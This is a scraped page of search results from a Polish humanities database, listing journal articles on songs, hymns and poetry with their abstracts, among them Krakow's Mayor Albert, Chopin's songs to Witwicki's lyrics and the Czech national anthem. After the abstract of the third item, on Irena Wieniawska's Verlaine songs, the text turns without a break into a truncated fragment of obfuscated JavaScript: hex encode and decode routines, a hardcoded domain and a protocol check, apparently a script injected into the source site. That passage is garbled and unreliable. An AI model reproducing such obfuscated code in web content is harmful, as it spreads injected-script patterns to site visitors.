Search results

1

Pieśń o wójcie krakowskim Albercie – przekaz historyczny w poetyckim sztafażu.

100%

Mrozowicz W.

Res Gestae. Czasopismo Historyczne

|

2013

|

vol. 13

32-42

PL

The article provides a critical summary and a verification of the knowledge about the poem De quodam advocato Cracoviensi Alberto, which in Polish papers is usually referred to as Pieśń o wójcie krakowskiem Albercie. This anonymous work mentioned in two 14th-century manuscripts was probably created in the first half of the 14th century (most likely after 1320). It refers to the rebellion of Mayor Albert in Krakow in the years 1311–1312. Its form remindsof a speech from beyond the grave (oratio a tumulo), afictitious monologue of the late Albert who complains about the changeability of the Fortune which led him to imprisonment and death. The poem has a visibly propagandistic character and is aimed at Germans who, due to colonisation, gain more and more importance in Poland and Bohemia. The work discusses inconsistencies that aappear in the findings of the publishers and commentators of the ppoem and points to some gaps that exist in the synthetic description of the poem. It also formulates new research suggestions, among others, connected with tracing the manuscript tradition of Pieśń and interpreting information related to the fate of Mayor Albert after the rebellion and his relations with the Queen of Poland.

2

„Racz nam wrócić, Panie...”

88%

Siwicka D.

Załącznik Kulturoznawczy

|

2015

|

issue 2

102-113

PL

Artykuł Racz nam wrócić, Panie... jest rekonstrukcją społecznej historii (od wieku XIX po współczesność) polskiej pieśni patriotyczno-religijnej Boże coś Polskę, a w szczególności jej jednego wersu znanego i śpiewanego w dwóch wersjach: „ojczyznę wolną pobłogosław, Panie” oraz „ojczyznę wolną racz nam wrócić, Panie”. Drobną a zasadniczą różnicę pomiędzy tymi wersjami autorka interptretuje na sposób Derridiański: jako szibbolet – sprawdzian tożsamości osób wykonujących pieśń, hasło tajnego przymierza i znak pozwalający na rozróżnienie „swoich” od „wrogów”. Wskazuje przy tym na trwałość owej funkcji znaczącej, jaką w polskim rytuale patriotycznym pełni wspólne śpiewanie Boże coś Polskę.

3

Pieśni Ireny Wieniawskiej do słów Paula Verlaine'a

88%

Al-Araj A.

Annales Universitatis Mariae Curie-Sklodowska, sectio L – Artes

|

2016

|

vol. 14

|

issue 1

PL

W niniejszym artykule podjęto próbę interpretacji 21 pieśni Ireny Wieniawskiej (powstałych w latach 1911-1927), wykorzystujących teksty Paula Verlaine’a. Kompozytorka (1879-1932), znana także jako Madame Poldowski czy Lady Dean Paul, była córką Henryka Wieniawskiego i Izabeli Hampton-Wieniawskiej. Żyła i pracowała w Belgii oraz Wielkiej Brytanii, odbyła także podróże koncertowe do Stanów Zjednoczonych i Hiszpanii. We Francji poznała dorobek impresjonistów (m.in. Maurice’a Ravela), co w znacznym stopniu ukształtowało jej idiom twórczy. W pierwszej części tekstu analizie poddano warstwę słowną utworów Wieniawskiej: ich wymiar treściowy oraz konstrukcyjny. Kolejny fragment został poświęcony płaszczyźnie muzycznej – autorka charakteryzuje podstawowe elementy dzieła: melodykę, akompaniament, harmonikę, fakturę i formę. W trzeciej części artykułu, w oparciu o reguły (corollaries) wyznaczone przez Henry’ego Woolletta, interpretowane są relacje słowno-muzyczne w pieśniach Madame Poldowski. Przeprowadzone analizy skłaniają do przyjęcia hipotezy o związku wokalno-instrumentalnego dorobku Lady Dean Paul z gatunkiem francuskiej mélodie, na co wskazywałaby predylekcja kompozytorki do recytatywnego traktowania głosu solowego, sylabicznego opracowania tekstu, jak również tendencja do wykorzystywania różnorodnych, skomplikowanych rozwiązań w zakresie harmoniki i formy. Wydaje się, że estetykę twórczości pieśniowej Wieniawskiej można włączyć w krąg symbolizmu, jej elementy zaś stanowią transpozycję wyróżników tego nurtu na grunt muzyczny. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.umcs.pl"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

4

Laudacja bohatera narodowego w "Pieśniach o księciu" Józefie Artura Oppmana

63%

Magryś R.

Napis. Pismo poświęcone literaturze okolicznościowej i użytkowej

|

2019

|

vol. 25: Pamiątka, hołd, laudacja w literaturze i kulturze

107-121

EN

The article concentrates on the lofty representation of the protagonist of the collection of lyrical works. "Pieśni o księciu Józefie" make a reference, in their historical and axiological aspects, to the biography by Szymon Askenazy, "Książę Józef Poniatowski 1763-1813" [Prince Józef Poniatowski 1763-1813]. That biography presents the central figure as an exemplary patriot and citizen, who does not hesitate to give his life for the fatherland. The poet, however, goes much further than Askenazy in elevating his hero, as he sacralises the figure of prince Poniatowski by making him the main martyr of the national cause, who pleads for Poland with God.

5

Where Is My Home? The Czech National Anthem: its Problems, Controversies, and Strengths

63%

Velek V.

Polski Rocznik Muzykologiczny

|

2021

|

vol. 19

182-208

PL

Istnieje wiele krajów, w których hymn narodowy ma swoje stałe miejsce, które nie podlega dyskusji. Zupełnie inaczej jest w przypadku czeskiego hymnu narodowego Gdzie jest mój dom?. Po raz pierwszy pojawił się pod tą nazwą w farsie teatralnej w 1834 roku i szybko zdobył popularność w całym kraju. W drugiej połowie XIX wieku przeszedł fazy upolitycznienia (różne parafrazy tekstu, wykonywanie go w ramach demonstracji jako symbolu antyhabsburskiego, zakazy śpiewania) oraz krytyki: wskazywano m.in. na jego przestarzały i archaiczny tekst. W tym czasie pojawiły się propozycje stworzenia nowego „hymnu narodowego”, ale jednocześnie w kręgach katolickich jako potencjalny hymn postrzegano średniowieczną pieśń religijną Saint Wenceslas, która od niepamiętnych czasów pełniła funkcję państwowo-reprezentacyjną. Pod koniec 1918 roku pieśń Gdzie jest mój dom? „automatycznie” stała się pierwszą z dwóch części czechosłowackiego hymnu narodowego, choć nadal słychać było głosy krytyki i pojawiały się nowe propozycje. Dyskusja na ten temat odżyła po upadku komunizmu, a nawet obecnie podejmowane są próby „unowocześnienia” oficjalnej wersji muzycznej. W niniejszym artykule podjęta zostanie próba wyjaśnienia przyczyn kontrowersyjności hymnu Gdzie jest mój dom? poprzez skupienie się na jego genezie (inspiracji), analizę elementu treści i poziomu psychologicznego, wzięcie pod uwagę zastrzeżeń krytycznych, propozycji konkurencyjnych pieśni itp. Zostanie również przedstawiona interpretacja faktu, że przetrwał on wszystkie ataki i wciąż pozostaje hymnem narodowym i państwowym.

EN

There are many countries in which the national anthem has its permanent place not open to discussions. With the Czech national anthem Where Is My Home?, however, the case is precisely the opposite. It first appeared under this title in a theatrical farce in 1834 and soon became popular across the nation. In the second half of the nineteenth century, it went through a phase of politicisation (various textual paraphrases, performances at demonstrations as an anti-Habsburg symbol, a resulting ban on singing the piece) as well as one of criticism (in which it was pointed out that the lyrics were outdated and archaic). It was at that time that proposals for the creation of a new “national anthem” were made, while the Catholic circles considered the mediaeval sacred song Saint Wenceslas, which had had a representative function in the state from time immemorial, as a potential candidate. Late in 1918, the entire song Where Is My Home? “automatically” became the first of the two parts of the Czechoslovak national anthem, but critical voices could still be heard and alternative proposals were made. The debate was revived after the fall of Communism, and even now there are efforts to “modernise” the official music version. The present paper is an attempt to discover the causes of the controversy around the anthem Where Is My Home?. This will be done by focusing on its genesis (inspirations), analysing its content and psychological dimension, considering the critics’ reservations, competition, etc. An interpretation will also be attempted as to why Where Is My Home? has withstood all the attacks and remained the national and state anthem.

6

Napłakać się z Chopinem. Stefana Witwickiego śpiew przez łzy

63%

Łoboz M.

Prace Filologiczne. Literaturoznawstwo

|

2017

|

issue 7(10)

363-379

EN

The article focuses on the artistic collaboration of the Romantic poet Stefan Witwicki with Frederic Chopin. Chopin’s compositions called Polish Songs (op.74) are the most noteworthy example of the correspondence of music and literature in Polish Romanticism. The first seven songs inspired by Witwicki’s lyrics were created between 1828 and 1831 (the composer, however, had never played them during his concerts). The fact that Chopin’s songs combine both the sentimental and the insurgent tradition is essential for the understanding of the compositions. The interpretation of the selected poems of Witwicki shows that one can distinguish at least three types of nostalgia present in his works. They are as follows: nostalgic love, the nostalgic feeling connected with the collapse of the November Uprising and nostalgia caused by parting with family. It was observed that Chopin and Witwicki easily succumbed to the feeling of nostalgia. Witwicki dedicated his Pastoral Songs to Chopin in 1830 and the composer began to write music for ten of Witwicki’s songs. His first composition was called The Wish. After leaving Warsaw, Chopin continued his work and composed A Fickle Maid, The Messenger, The Warrior, Drinking Song, Witchcraft. Other songs such as Troubled Waters, The Bridesgroom Return, The Ring, and Spring were written in Paris in the years 1838 – 1840. Witwicki’s death in 1847 came as a great shock for Chopin, he often complained about his loneliness. The close relationship of Chopin and Witwicki manifested itself not only in their artistic collaboration but also in their private lives.

7

CYGANIE, HIPISI I DZIENNIKARZE (ROMANTYZM I KONTRKULTURY1)

63%

Piwińska M.

Świat Tekstów. Rocznik Słupski

|

2020

|

vol. 18

289-302

PL

Tekst rozważa kilka interpretacji i ocen zjawiska kontrkultur. Rysuje związki współczesnych fal kontrkulturowych z XIX-wieczną cyganerią. Wskazuje odmienne inspiracje kontrkultur amerykańskich i europejskich. Zawiera szersze omówienie warszawskiej cyganerii (1838–1843) działającej w okresie największego terroru „nocy Paskiewiczowskiej”. Charakterystyka warszawskiej cyganerii w porównaniu z paryską – na zachodzie Europy cyganerie wiążą się z wizerunkiem żyjących poza i w opozycji do obyczaju, praw, stylu życia kultury panującej Cyganów-Romów. W Polsce „cyganie” wiążą się z wykluczonymi z tej kultury chłopami: „ludomania” krakowskiej cyganerii, radykalizm społeczny warszawskiej cyganerii. Polemizując z ocenami, które odmawiają kontrkulturom wartości, tekst podejmuje kwestie: kontrkultury a ruchy polityczne i kontrkultury a awangardy artystyczne. Kontrkultury nie są działaniem elit, profesjonalistów, polityków, artystów, choć czerpią inspiracje z kolejnych krytyk kultury. Wciąż pojawiające się pod różnymi nazwami ruchy młodzieżowe mogą być związane z polityką i sztuką, ale nie mieszczą się w nich. Są wyrazem dość powszechnego niepokoju egzystencjalnego i próbami odmiennego niż w kulturze panującej stylu życia. Mogą więc wyrastać z romantycznego postulatu „odrodzenia wewnętrznego człowieka”. Postulat ten pozostał w epoce niedookreślony, silnie emocjonalny, najdobitniej wyraża się w nim negacja. Postawy buntownicze kolejnych kontrkultur można uznać za czynnik dynamizujący kulturę europejską. Mają one także drugą, ciemną stronę – destrukcji i autodestrukcji.

EN

This text deliberates a number of interpretations and views concerning the phenomenon of counterculture. Outlines relations between contemporary countercultural movements and the XIXth century Bohemianism. Indicates various inspirations that accompanied american and european countercultures. Contains a wide coverage of the Warsaw bohème (1838–1843) and its activity during the great terror of “Paskiewicz night”. Identifies elements of Warsaw bohème in comparison with bohème in Paris. In the west of Europe, bohème has the image of Gypsies, Bohemians and Romes, who live in opposition to laws, customs, style of life requred in dominating culture. In Poland the “gypsies” appear as excluded from official culture peasants – “folkmania” in Cracow and social radicalism of Warsaw “gypsies”. Pollemizing with opinions which refuse counterculture appreciation, the above text undertakes questions of counterculture and political movements as well as artistic avant-garde. Countercultures are not an element of politics, professional art or elite, although they take inspiration from succeeding art critiques. Frequently appearing, under various names, youth movements are often related with politics and art, but not as their element. They are an expression of a common existential anxiety and are an attempt to lead an unconventional life. Some may have roots in the romantic “revival of internal life”. Romanticism left this postulate undefined, strongly emotional, with negation as its main distinction. Rebellious attitudes of following countercultures can be regarded as a dynamic factor to european culture. There also is another, dark side – destruction and autodestruction.

8

Znaczenie pieśni religijnej w liturgii Kościoła katolickiego

63%

Stachyra M.

Studia Elbląskie

|

2016

|

vol. 17

227-236

EN

The purpose of the article – in which its author raises a subject of the meaning Catholic Church liturgy’s religious song – is to introduce the genesis and development of religious song concept in Catholic Church, with special consideration of ecclesial legislation that are currently in force in that field. The most important church documents and – as past as present – all popes teaching, which are analyzed in the article, express a concern for liturgy music, which aim is – by its beauty – to connect people to God and be an integral part of the liturgy. At the same time, it is noticeable that folk songs, that were enjoined to perform rather beyond Holy Mass in the past, are in continued development now. Nowadays, folk songs pose a common norm and immanent part of every Holy Mass. The article raises also the problems with terminology and performing the religious songs during the liturgical services, and finally, the manners of improvement of this current, far from ideal situation.

PL

Celem artykułu - w którym jego autor podejmuje temat znaczenia pieśni religijnej w liturgii Kościoła katolickiego - jest przedstawienie genezy i rozwoju koncepcji pieśni religijnej w Kościele katolickim, ze szczególnym uwzględnieniem obowiązującego w tym zakresie prawodawstwa kościelnego. Analizowane w artykule najważniejsze dokumenty kościelne oraz - tak dawne, jak i obecne - nauczanie wszystkich papieży wyrażają troskę o muzykę liturgiczną, której celem jest - poprzez swoje piękno - łączenie ludzi z Bogiem i bycie integralną częścią liturgii. Jednocześnie zauważa się, że pieśni ludowe, które w przeszłości były nakazane do wykonywania raczej poza Mszą Świętą, obecnie przeżywają ciągły rozwój. Obecnie pieśni ludowe stanowią powszechną normę i immanentną część każdej Mszy Świętej. Artykuł porusza również problemy związane z terminologią i wykonywaniem pieśni religijnych podczas nabożeństw liturgicznych, a także sposoby poprawy tej obecnej, dalekiej od ideału sytuacji.

9

Twórczość wokalna Jerzego Gablenza (1888-1937). Próba systematyzacji

63%

Kaczorowski R.

|

2018

|

vol. 65

|

issue 13: Muzykologia

115-125

EN

The presented article is the first attempt of presentation of the vocal works of a little-known Polish composer Jerzy Gablenz (1888-1937). He composed 86 songs, written in the period from 1907 to 1928. To this day the majority of these songs have not been published. Only the single songs were published in collections, which are to be found in the National Library. The collection also includes the songs handwritten by the composer’s himself. In total, it is a little over 30% of Jerzy Gablenz’s vocal lyric poetry. The majority of his songs, rewritten by hand by the son Tomasz, are to be found in the records of individuals such as Jan Jarnicki, the director of Acte Préalable phonographic company, who does his best to record these still undiscovered works of Gablenz on CDs. The following article may become an inspiration for the musicologists and music theoreticians to conduct extensive studies upon the works of Jerzy Gablenz, who is a composer of not only songs, but also of symphonies, symphonic poems, a piano concerto or a sonata for cello and grand piano.

PL

Prezentowany artykuł jest pierwszą próbą zaprezentowania twórczości wokalnej mało znanego polskiego kompozytora Jerzego Gablenza (1888-1937). W swoim dorobku pozostawił on 86 pieśni, pisanych w okresie od 1907 do 1928 roku. Większość tych utworów do dzisiaj nie doczekała się publikacji. Jedynie pojedyncze pieśni zostały wydane w zbiorach, znajdujących się w Bibliotece Narodowej. Księgozbiór ten zawiera również autografy pieśni kompozytora. W sumie jest to niewiele ponad 30% liryki wokalnej Jerzego Gablenza. Większość jego pieśni, przepisana ręcznie przez syna Tomasza, znajduje się w archiwach osób prywatnych, m.in. Jana Jarnickiego, dyrektora firmy fonograficznej Acte Préalable, który podejmuje wysiłki, aby tę wciąż nieodkrytą twórczość Gablenza zarejestrować na płytach CD. Niniejszy artykuł może stać się inspiracją dla muzykologów i teoretyków muzyki do szeroko zakrojonych studiów nad twórczością Jerzego Gablenza, który jest kompozytorem nie tylko pieśni, ale również symfonii, poematów symfonicznych, koncertu fortepianowego czy sonaty na wiolonczelę i fortepian.

10

Carmina "De Sodoma" et "De Iona": una relectura

51%

Mendoza M.

Vox Patrum

|

2006

|

vol. 49

383-397

EN

BRAK

11

“Shall I show joy or sorrow?” (Poem 31). Pain of loss – a study of Paulinus of Nola’s works

51%

Wysocki M.

Vox Patrum

|

2022

|

vol. 82

221-236

PL

Paulin z Noli nie jest niestety współcześnie bardzo docenianym Ojcem Kościoła, gdyż nie wniósł nic wielkiego w rozwój dogmatów wczesnego Kościoła, a jednak współcześni mu ludzie poważali go, wskazywali jako wzór i odwoływali się do jego nawrócenia i duchowej drogi. Był on traktowany jako mistrz duchowy. Dlatego też omawiając zagadnienie namiętności, a przede wszystkim bólu po stracie najbliższych, warto i powinniśmy sięgnąć do zachowanej twórczości Paulina: listów oraz pieśni. On sam przeżył przecież tragiczną śmierć brata, przedwczesne odejście jedynego syna, czy wreszcie śmierć swej żony Terazji. To wszystko pozwala doszukiwać się w jego dziełach odpowiedzi na pytanie o sposób radzenia sobie z emocjami po odejściu ukochanej osoby oraz o chrześcijańską interpretację przeżywania śmierci i żałoby. Dzięki przeprowadzonym analizom zachowanych tekstów Paulina i ich wynikom, ukazanym w niniejszym artykule, możemy dostrzec, że Paulin, choć wykształcony na klasycznych wzorcach, ukazuje chrześcijański wymiar żałoby zawarty w tytułowym pytaniu: z jednej strony podkreśla ludzki jej wymiar i smutek z powodu odejścia bliskiej osoby, a z drugiej podkreśla nadprzyrodzoną radość ze zbawienia i przebywania u Boga. Paulin w swych dziełach ukazuje także inne wymiary przeżywania śmierci, które tworzą razem bogaty fenomen oddawany przez cztery stoickie passiones: spes - metus - gaudium – dolor.

EN

Unfortunately, Paulinus of Nola is not a very appreciated Father of the Church today, because he did not contribute much to the development of the dogmas of the early Church, and yet his contemporaries respected him and indicated him as an example and referred to his conversion and spiritual path. He was regarded as a spiritual master. Therefore, when discussing the issue of passiones, and above all the pain after the loss of loved ones, it is worth and should refer to the preserved works of Paulinus: his letters and poems. He himself experienced the tragic death of his brother, the premature death of his only son, and finally the death of his wife Therasia. All this allows us to find in his works an answer to the question of how to deal with emotions after the departure of a loved one and about a Christian interpretation of experiencing death and mourning. Thanks to the analyzes of the surviving Paulinus’ texts and their results, presented in this article, we can see that Paulinus, although educated on the classical models, shows the Christian understanding of mourning contained in the title question: on the one hand, he emphasizes its human side and the sadness over the passing of a loved one, on the other hand, he emphasizes the supernatural joy of salvation and being with God. In his works, Paulinus also shows other aspects of experiencing death, which together create a rich phenomenon expressed by four Stoic passiones: spes - metus - gaudium - dolor.

12

Pieśni ku czci Matki Bożej Bolesnej w wybranych polskich śpiewnikach katolickich

51%

Garnczarski S.

Tarnowskie Studia Teologiczne

|

2022

|

vol. 41

|

issue 2

41-70

EN

Meditations on Mary’s compassion and her active unity with the tormented and crucified Christ became the basis for the development of various forms of literature and passion iconography. The source of the songs in honor of Our Lady of Sorrows were planks, i.e. the laments of Our Lady of Sorrows, derived from medieval liturgical passions, and the sequence Stabat Mater, repeatedly translated into Polish. Dialogue as a form of oral communication has been used in literary works. Songs in this form allow for a dynamic confrontation of different views, thanks to which the reader, and in our case the singers, are drawn into experiencing the presented content. An important section of the songs about the suffering Mary are songs to the seven sorrows of Our Lady, or songs to Our Lady of La Salette. The last group consists of songs in which the faithful ask the Sorrowful Mother for intercession and help in difficult situations, especially in suffering. The examined songs present a broad spectrum of poetic structure, more or less characterized by poetic artistry.

PL

Rozważania o współcierpieniu Maryi i Jej czynnym jednoczeniu się z Chrystusem umęczonym i ukrzyżowanym stały się podstawą do rozwoju różnych form literatury oraz ikonografii pasyjnej. Źródłem pieśni ku czci Matki Bożej Bolesnej stały się plankty, czyli lamenty Matki Bożej Bolesnej, wywodzące się ze średniowiecznych pasyjnych dramatów liturgicznych oraz sekwencja Stabat Mater, wielokrotnie tłumaczona na język polski. Dialog, jako forma ustnej komunikacji została zastosowana w twórczości literackiej. Pieśni w tej formie dają możliwość dynamicznej konfrontacji różnych poglądów, przez co czytelnik, a w naszym przypadku śpiewający zostają wciągnięci do przeżywania ukazywanych treści. Ważny dział pieśni o cierpiącej Maryi stanowią śpiewy do siedmiu boleści Matki Bożej, czy też pieśni do Matki Bożej Saletyńskiej. Ostatnia grupę stanowią pieśni, w których wierni proszą Bolejącą Matkę o wstawiennictwo i pomoc w trudnych sytuacjach, zwłaszcza w cierpieniu. Przebadane pieśni prezentują szerokie spektrum struktury poetyckiej, więcej lub mniej odznaczającej się kunsztem poetyckim.

13

>>Cudownie nieartykułowana mowa dźwięków<<. Muzyczno-literacki motyw lipy w pieśni piątej z „Winterreise” Franza Schuberta i „Der Lindenbaum” Wilhelma Müllera w przekładzie Stanisława Barańczaka

51%

Wyciślik K.

Annales Universitatis Paedagogicae Cracoviensis. Studia Poetica

|

2020

|

vol. 8

272-285

EN

In 1827, Franz Schubert published a song cycle called Winterreise. 167 years later Stanisław Barańczak published the volume of poetry Winter Journey. The Romantic tale started by the Austrian composer has opened a brand new opportunity for expression in lyrics and music. The article based on the fifth song, called Der Lindenbaum (The Lime tree), presents correlations occurring in the plane between Schubert, Wilhelm Müller and Barańczak. It is the only poem translated from German by Barańczak in the whole series. The author of the article attributes the new senses arising in the music-literature intersection to different semantic systems: literary text, possible intertextual situations, and the existence of a literary work in terms of music. She also answers the question of the topic of the tree in Barańczak’s poem combined with the music of Schubert.

PL

W 1827 roku Franz Schubert wydał cykl pieśni Winterreise. Z kolei 167 lat później Stanisław Barańczak opublikował tom Podróż zimowa. Wiersze do muzyki Franza Schuberta. Romantyczna pieśń zapoczątkowana przez austriackiego kompozytora dała nową sposobność do przekazania ekspresji poprzez słowo śpiewane i towarzyszącą muzykę. Artykuł na podstawie Pieśni V, zatytułowanej Der Lindenbaum (Lipa), przedstawia korelacje zachodzące na płaszczyźnie między Schubertem, Wilhelmem Müllerem a Barańczakiem. Jest to jedyny wiersz w cyklu, który Barańczak przełożył z języka niemieckiego. Powstające we wspólnym muzyczno-literackim obszarze sensy autorka lokuje w różnych systemach znaczeniowych: tekstu literackiego, możliwych sytuacjach intertekstualnych oraz istnienia dzieła literackiego wobec muzyki, i odpowiada na pytanie, jak w tej sytuacji topika drzewa znaczy w wierszu Barańczaka połączonym z muzyką Schuberta.

14

Znaczenia pieśni w wierszu Do obywatela Johna Brown

51%

Nurzyńska-Kozak A.

Tematy i Konteksty

|

2022

|

vol. 17

|

issue 12

122-133

EN

The aim of this article was the analysis of the meanings of song and their transformations in the poem by Cyprian Norwid Do obywatela Johna Brown. As a result of interpretational close-ups (especially to the initial phrase and the climax of this poem) the polysemic song by Norwid appears not only as a lyrical genre, a term synonymous to poetry in general but also as an act with performative and transgressive features leading the lyrical subject – also through a specifically ‘musical’ shaping of this poem – towards the experience of epiphany of sacrum (Marian andChristological motives).

PL

Celem artykułu była analiza znaczeń pieśni oraz ich przekształceń w wierszu Cypriana Norwida Do obywatela Brown. W efekcie interpretacyjnych przybliżeń (szczególnie do frazy inicjalnej oraz momentu kulminacji utworu) polisemiczna „pieśń” Norwida jawi się jako nie tylko rodzaj utworu lirycznego, określenie synonimiczne dla poezji w ogólności, lecz także jako akt o właściwościach performatywnych i transgresyjnych, prowadzący podmiot wiersza – również na drodze specyficznie „muzycznego” ukształtowania tekstu – ku doświadczeniu epifanii sacrum (motywy maryjne i chrystologiczne).

15

Polskie śpiewy na Boże Ciało w Kancjonale S.S. Jagodyńskiego (wyd. 1638, 1695)

51%

Garnczarski S.

|

2018

|

vol. 65

|

issue 13: Muzykologia

95-113

EN

Polish singing for the Feast of Corpus Christi contained in the cantional of Jagodyński (edition 1638, 1695) count 13 works, including 7 which are translations of Latin poetry, formed most probably at the end of the sixteenth and early seventeenth centuries; and 6 is the fruit of the work of contemporary poets and composers. The translations were modeled on the poetic structure of Latin texts, although not always fully; while the songs of Polish provenance were included by the authors in a way that fits in the general tendencies of the poetics structure of this period. We notice here mostly the songs with 4-verse stanzas and 7-, 6- and 2-verses. The stanzas binding factor is even rhyme, paroxytonic, perfect rhyme, and occasionally alternating rhyme.

XX

Polskie śpiewy na Boże Ciało, zawarte w kancjonale Jagodyńskiego (wyd. 1638, 1695), liczą 13 utworów, w tym 7 to tłumaczenia łacińskiej poezji powstałe najprawdopodobniej pod koniec XVI i na początku XVII w., zaś 6 jest owocem twórczości ówczesnych poetów i kompozytorów. Tłumaczenia były zasadniczo wzorowane na strukturze poetyckiej łacińskich tekstów, natomiast pieśni o proweniencji polskiej zostały ujęte przez twórców w sposób wpisujący się w ogólne tendencje struktury poetyki tego okresu. Przeważają pieśni o strofach 4-wersowych oraz 7-, 6- i 2-wersowych. Czynnikiem wiążącym strofy jest rym paroksytoniczny, dokładny, parzysty, a sporadycznie naprzemienny.

16

Współczesna polska pieśń kościelna ku czci Bożego Miłosierdzia na przykładzie dwóch zbiorów: Pieśni do Miłosierdzia Bożego oraz Bóg bogaty w miłosierdzie

51%

Garnczarski S.

|

2016

|

vol. 63

|

issue 13: Muzykologia

141-161

EN

The contemporary song in honor of Divine Mercy develops relatively quickly. The study involved a collection of 56 songs included in the collection formed in the environment of Sanctuary in Łagiewniki in Krakow. The source of texts is St. Faustina’s Diary: Divine Mercy in My Soul and psalms, and the poetic works of more than 20 authors. The melodies are original and come from 25 artists, with one exception the use of contrafactum. Structure of the text fits generally in the overall tendencies of Polish poetry, where the popular and dominant metric measurements are reflected in the studied texts (11-, 13-syllable), rhyme (female, perfect paroxytone), stanzas (4 verses of even rhymes and alternating, with predominance of the latter). Similarly, in the musical layer dominates two-parts form, with different elements (AB) systems of internal links: ab+cd, aa+a1b, aa1+bc, ab+cc1 and ab+ca1. Less numerous are three parts forms with types of structures AA1B, ABA1, ABB and ABC. Moreover, we find forms of refrains and psalms.

PL

Współczesna pieśń ku czci Bożego Miłosierdzia rozwija się stosunkowo szybko. Badaniom poddano 56 utworów, zawartych w zbiorach powstałych w środowisku Sanktuarium Łagiewnickiego w Krakowie. Źródłem tekstów jest Dzienniczek s. Faustyny Kowalskiej oraz psalmy, a także twórczość poetycka ponad dwudziestu autorów. Melodie, poza jednym wyjątkiem zastosowania kontrafaktury, są oryginalne i pochodzą od 25 twórców. Struktura tekstów wpisuje się generalnie w ogólne tendencje poezji polskiej, gdzie popularne i dominujące miary metryczne znajdują swoje odbicie w badanych tekstach (11-, 13-zgłoskowce), rymy (żeńskie, paroksytoniczne dokładne), strofy (4-wersowe o rymach parzystych oraz naprzemiennych, z przewagą tych ostatnich). Podobnie w warstwie muzycznej dominują formy 2-częściowe, o różnych członach (AB) i układach wewnętrznych powiązań: ab+cd, aa+a1b, aa1+bc, ab+cc1 i ab+ca1. Mniej liczne są formy trzyczęściowe o typach struktur: AA1B, ABA1, ABB i ABC. Ponadto spotykamy formy refrenowe i psalmowe.

17

Między Bogiem a Naturą. Słowo i muzyka w świecie Leśmiana

45%

Cieślik M.

Acta Universitatis Lodziensis. Folia Litteraria Polonica

|

2019

|

vol. 52

|

issue 1

49-67

EN

This essay shows how multidirectional relations between the words and the music are bound in Leśmian’s world. The medium is a human being, a poet-singer oversensitive to the voice of being, who turns music into words and reaches the state of exaltation thanks to music at the same time. The music permeates the poet who should let it speak out inside himself and then express it through words. The rhythm perceived as life itself is a part that allows the restricted word to be relieved form the rigid frames of meanings. The relations between the word and the music (and accordingly between God and Nature) can be seen as well in the elements of the world which hasn’t become flesh or turned into music. Thanks to its vital character, music helps to locate Leśmian’s world on the border, on the edge, over the precipice or to incorporate a human being into the Nature. The music itself is sometimes located on the edge of the word, overtaking its part or going into the abyss.

PL

Niniejsza praca pokazuje, w jaki sposób w świecie Leśmiana powstają wielokierunkowe relacje zawiązujące się między biegunami słowa i muzyki. Pośrednikiem jest w nich człowiek, a szczególnie poeta-śpiewak obdarzony wyjątkową wrażliwością na głos istnienia, który ujmuje muzykę w słowa i jednocześnie zostaje przez nią wprowadzany w uniesienie. Muzyka wnika w poetę, który powinien we własnym wnętrzu pozwolić jej się „wygwarzyć”, a następnie wyrazić ją poprzez słowo. Elementem, który wyzwala ograniczone słowo ze sztywnych ram znaczeń, jest rytm rozumiany jako samo życie. Związki zachodzące pomiędzy słowem a muzyką (i odpowiadającymi im – Bogiem i Naturą) obejmują także elementy świata, które zostają wcielone w słowo lub umuzycznione. Poprzez swój witalistyczny charakter muzyka sprzyja usytuowaniu Leśmianowskiego świata „na pograniczu”, na krawędzi, nad przepaścią lub wpisaniu człowieka w Naturę. Sama muzyka bywa również umieszczona na granicy ze słowem, przejmując jego rolę lub wraz z nim przechodząc w niebyt.

18

O skrzypcach oraz ich muzyce w wierszu do „artysty zapomnianego” - Do Nikodema Biernackiego

45%

Łuczak B.

Studia Norwidiana

|

2013

|

vol. 31

91-116

EN

The present article points to the function that the motif of the violin performs in the poem To Nikodem Biernacki written by Norwid in Paris in 1857; it also contains an interpretation of the author’s remarks on an artist’s identity and of the tasks assigned to him that are expressed in that poetical text. Also, Norwid’s views on the meaning of what a violinist does and of art in general are shown. Knowledge of the life and work of the addressee of the poem, the Polish 19th century violinist Nikodem Biernacki, defined as a “forgotten musician”, is the context for the analysis of the poem. This knowledge also casts some light on history of Polish culture persecuted in the period of the Partitions of Poland. Also the contents of Norwid’s other works, among them of Chopin’s Piano, Promethidion and Historical Resurrection are an important context for the discussions included in the article. The poet’s thoughts contained in To Nikodem Biernacki are inscribed in the whole of Norwid’s philosophy of art.

19

O skrzypcach oraz ich muzyce w wierszu do "artysty zapomnianego" - do Nikodema Biernackiego

45%

Łuczak B.

Studia Norwidiana

|

2013

|

vol. 31

91-116

XX

The present article points to the function that the motif of the violin performs in the poem To Nikodem Biernacki written by Norwid in Paris in 1857; it also contains an interpretation of the author’s remarks on an artist’s identity and of the tasks assigned to him that are expressed in that poetical text. Also, Norwid’s views on the meaning of what a violinist does and of art in general are shown. Knowledge of the life and work of the addressee of the poem, the Polish 19th century violinist Nikodem Biernacki, defined as a “forgotten musician”, is the context for the analysis of the poem. This knowledge also casts some light on history of Polish culture persecuted in the period of the Partitions of Poland. Also the contents of Norwid’s other works, among them of Chopin’s Piano, Promethidion and Historical Resurrection are an important context for the discussions included in the article. The poet’s thoughts contained in To Nikodem Biernacki are inscribed in the whole of Norwid’s philosophy of art.

20

Od ideału do codziennej praktyki. Hymny o świętych na Jutrznię i Nieszpory w posoborowej Liturgii godzin

45%

Nowak D.

Musica Ecclesiastica

|

2020

|

issue 15

11-49

PL

